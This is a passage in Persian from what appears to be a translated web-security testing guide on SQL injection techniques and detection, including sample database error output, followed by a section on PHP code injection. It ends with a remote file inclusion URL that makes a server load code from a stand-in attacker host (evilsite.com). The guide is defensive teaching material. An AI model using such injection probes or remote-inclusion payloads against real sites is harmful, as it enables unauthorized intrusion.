۲. **خارج کانال**[۱۸]: در این روش داده‌های بازیابی شده از حمله در یک کانال متفاوت از کانالی که حمله صورت گرفته بازیابی می‌شود. به‌عنوان‌مثال، نتایج پرس‌وجو توسط یک ایمیل برای ارزیاب فرستاده می‌شود.

۳. **کور**[۱۹]: در این روش هیچ انتقال واقعی از داده‌ها صورت نمی‌گیرد بلکه ارزیاب اطلاعات را با ارسال درخواست-های خاص و رعایت رفتار ناشی از پایگاه داده بازسازی می‌کند.

مهارت مهاجم برای ساخت پرس‌وجوهای دقیق و صحیح SQL پیش‌نیاز یک حمله موفق تزریق SQL است. اگر برنامه نسبت به درخواست‌های ارسالی نادرست توسط مهاجم، پیغام خطاهایی را برگرداند آنگاه مهاجم می‌تواند از این پیغام خطاهای دریافتی، پرس‌وجوهای صحیح را ایجاد کرده و به سمت پایگاه داده ارسال کند. اما اگر برنامه جزئیات خطا را پنهان کند، مهاجم باید منطق پرس‌وجو برنامه را از طریق مهندسی معکوس کشف کند.

پنج تکنیک رایج به‌منظور سوءاستفاده از آسیب‌پذیری تزریق SQL وجود دارد. (البته این تکنیک‌ها گاهی می‌توانند به‌صورت ترکیبی (مثلاً union و out of band) نیز مورد استفاده قرار گیرند)

- **Union**: روش اجتماع این قابلیت را به مهاجم می‌دهد که دو پرس‌وجو با هم ادغام کند. این روش زمانی‌که آسیب‌پذیری تزریق SQL در یک عبارت Select اتفاق می‌افتد، مورد استفاده قرار می‌گیرد.
- **Boolean**: به‌منظور بررسی اینکه آیا شرطی خاص، صحیح یا نادرست است، مورد استفاده قرار می‌گیرد.
- **Error Based**: در این روش با ایجاد خطا در پایگاه داده، از اطلاعاتی که به‌منظور رخداد خطا در پایگاه داده ایجادشده، به‌منظور تزریق SQL استفاده می‌شود.

---

[۱۷] Inband
[۱۸] Out-of-Band
[۱۹] Blind

- **Out-of-Band**: این تکنیک به‌منظور بازیابی اطلاعات از یک کانال متفاوت از کانال حمله مورد استفاده قرار می‌گیرد.
- **Time Delay**: از تأخیر پاسخِ پرس‌وجوها به‌منظور تزریق استفاده می‌کنند.

چگونگی انجام آزمون

تکنیک‌های تشخیص

قدم اول در این آزمون، فهمیدن نحوه تعامل برنامه وب با سرور پایگاه داده به‌منظور دسترسی به داده‌ها می‌باشد. در زیر مثال‌هایی از نیاز صحبت برنامه وب با پایگاه داده اشاره شده است.

۱. **فرم‌های تأیید هویت**: هنگامی‌که تأیید هویت کاربر از طریق یک فرم بررسی می‌شود نام کاربری و گذرواژه‌ای که کاربر وارد می‌کند با محتوای نام کاربری و گذرواژه‌های موجود در پایگاه داده مقایسه می‌شود. (بهتر است بگوییم که هش آن‌ها مقایسه می‌شود.) (به اولین تطبیق که رسید کاربر را مجاز دانسته و اجازه استفاده از پایگاه داده را به او می‌دهد؟)

۲. **موتورهای جستجو**: رشته‌ای که توسط کاربر ارائه می‌شود به یک پرس‌وجو SQL تبدیل می‌شود و رکوردهای مربوط به آن را از پایگاه داده استخراج می‌کند.

۳. **سایت‌های تجارت الکترونیک**: محصولات و ویژگی‌های آن‌ها (قیمت، شرح، در دسترس بودن و غیره) به‌احتمال‌زیاد در یک پایگاه داده ذخیره می‌شوند.

ارزیاب باید فهرستی از تمام فیلدهای ورودی ازجمله فیلدهای پنهان درخواست‌های POST، که مقدار آن‌ها می‌تواند در ساخت یک پرس‌وجو SQL کاربرد داشته باشد، ایجاد کند. سپس این فیلدها را به‌صورت جداگانه ارزیابی کرده و سعی کند با دستکاری پرس‌وجوها، خطای پایگاه داده را تولید کند. همچنین سرآیندهای HTTP و کوکی‌ها را نیز در نظر بگیرید.

معمولاً اولین آزمون شامل اضافه کردن یک نقل قول یا تک کوتیشن ' یا یک نقطه ویرگول ؛ به پارامتر تحت آزمون می‌باشد. نقل قول یا تک کوتیشن در SQL به‌عنوان یک فسخ دهنده (اتمام) رشته استفاده می‌شود و اگر توسط برنامه فیلتر نشده باشد، مهاجم با اضافه کردن آن به فیلد مورد آزمون باعث ایجاد یک پرس‌وجو نادرست می‌شود. نقطه ویرگول ؛ نیز برای پایان دادن به یک دستور SQL استفاده می‌شود و اگر فیلتر نشده باشد منجر به تولید خطا می‌شود. به‌عنوان‌مثال خروجی یک فیلد آسیب‌پذیر در یک سرور مایکروسافت SQL مشابه زیر می‌باشد.

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before
the
```

```
character string ''.
/tarGET/tarGET.asp, line 113
```

لازم به ذکر است که کامنت‌های -- یا / * * / و غیره و همچنین سایر کلمات کلیدی SQL مثل AND و OR به‌منظور تغییر پرس‌وجوها استفاده می‌شوند. اما تکنیکی بسیار ساده به‌منظور تولید خطا که هنوز هم گاهی مؤثر واقع می‌شود، وارد کردن یک رشته در فیلدی که انتظار ورودی عدد داشته باشد و بلعکس.

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/tarGET/tarGET.asp, line 113
```

به‌منظور پیدا کردن خطا باید تمام پاسخ‌های وب سرور را نظارت کرده و همچنین کد HTML و جاوا اسکریپت را مرور کنیم. همان‌طور که در بالا مشاهده کردید یک پیغام خطا، اطلاعات زیادی را برای ارزیاب به‌منظور انجام حمله تزریق موفق فراهم می‌کند. به‌منظور کشف پارامترهای آسیب‌پذیر باید هر فیلدی که در ارتباط با پایگاه داده است را جداگانه مورد ارزیابی قرار دهیم. برای این کار می‌توان با ثابت نگه‌داشتن سایر فیلدها، یک فیلد موردنظر را ارزیابی کنیم.

۱۰) تزریق کد

هدف از این آزمون بررسیِ امکان ورود کد به یک صفحه وب که از طریق وب سرور آن قابل اجرا باشد.

خلاصه

در این بخش بررسی می‌کنیم که آیا امکان ورود کد به‌عنوان ورودی در صفحات وب و اجرای آن در وب سرور وجود دارد. در ارزیابی تزریق کد، ارزیاب ورودی را به‌عنوان کد پویا یا Included File ارسال کرده و توسط سرور پردازش می‌شود. این ارزیابی‌ها می‌تواند موتورهای اسکریپتی مختلف سمت سرور مانند PHP، ASP و غیره را هدف قرار دهد. به‌منظور جلوگیری از این حمله باید از اعتبارسنجی مناسب برای ورودی‌ها و برنامه‌نویسی امن استفاده شود.

چگونگی انجام آزمون

آزمون جعبه سیاه

ارزیابی آسیب‌پذیری تزریق PHP

اگر در برنامه یک پارامتر توسط متد GET به تابع Include() در PHP، بدون اعتبارسنجی صحیح ارسال شود آنگاه مهاجم می‌تواند با تزریق کد به برنامه، کارهایی انجام دهد که ازنظر برنامه‌نویس نامطلوب است. URLای که در زیر آمده نام یک صفحه (contact.php) را به تابع Include() ارسال می‌کند.

```
http://testsite.com/index.php?page=contact.php
```

فرض کنید فایل evilcode . php شامل تابع phpinfo() باشد که این تابع برای بدست آوردن تنظیمات سیستمی که سرویس‌دهنده‌ی وب روی آن در حال اجراست، کاربرد دارد. نفوذگر می‌تواند با استفاده از درخواست زیر، این فایل را توسط برنامه اجرا کند.

```
http://testsite.com/?page=http://evilsite.com/evilcode.php
```